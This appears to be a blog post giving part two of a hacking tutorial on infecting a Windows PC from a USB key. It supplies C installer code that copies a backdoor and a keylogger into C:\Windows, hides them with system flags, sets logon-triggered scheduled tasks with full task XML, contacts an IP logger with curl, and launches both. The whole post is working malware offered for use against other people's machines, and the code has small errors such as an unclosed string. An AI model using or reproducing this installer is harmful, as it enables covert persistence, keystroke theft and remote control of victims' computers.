How to Program a C Backdoor (And Infect Any PC with an USB Key, and Three Seconds) PART II


How to Program a C Backdoor (And Infect Any PC with an USB Key, and Three Seconds) PART II

This is the second part of the tutorial.
IV) INSTALL IT ! Here, we'll use the following C code to install our backdoor :
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

int main()
{
system("color A"); // Cause we're H4CK3RZ

printf("Installing files...\n");
system("copy server.exe /B C:\\Windows ");
system("copy key.exe /B C:\\Windows ");

system("schtasks /create /tn 'BACK1' /xml server.xml");
system("schtasks /create /tn 'BACK2' /xml key.xml");

system("attrib +h +s C:\\Windows\\server.exe");
system("attrib +h +s C:\\Windows\\key.exe");

system("curl.exe url to iplogger ");
printf("DONE ! System Backdoored and keylogged ! ");
getchar();

Sleep(3000);
system("server.exe");
system("key.exe
}

This will copy or previous program "server.exe" (backdoor) and a keylogger (i'll give sources in an other post) to C:\\Windows)
Then it creates a system task to activate our backdoor & keylogger at startup using an xml file (below)
The "attrib" call is used to set "system" and "hidden" flags. So they cannot be deleted (without setting out manually the system flag) and they're hidden.
It also curl to the Iplogger you have and launch our backdoor.
XML FILES :
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2015-01-27T18:30:34</Date>
<Author>Pete</Author>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<StartBoundary>2015-01-27T18:30:00</StartBoundary>
<Enabled>true</Enabled>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<LogonType>InteractiveToken</LogonType>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>"C:\Program Files\server.exe"</Command>
</Exec>
</Actions>
</Task>

Just adapt it to your needs.
Here it is ! Our System is backdoored and keylogged !
Thanks for reading !! :D

Aucun commentaire:

Publier un commentaire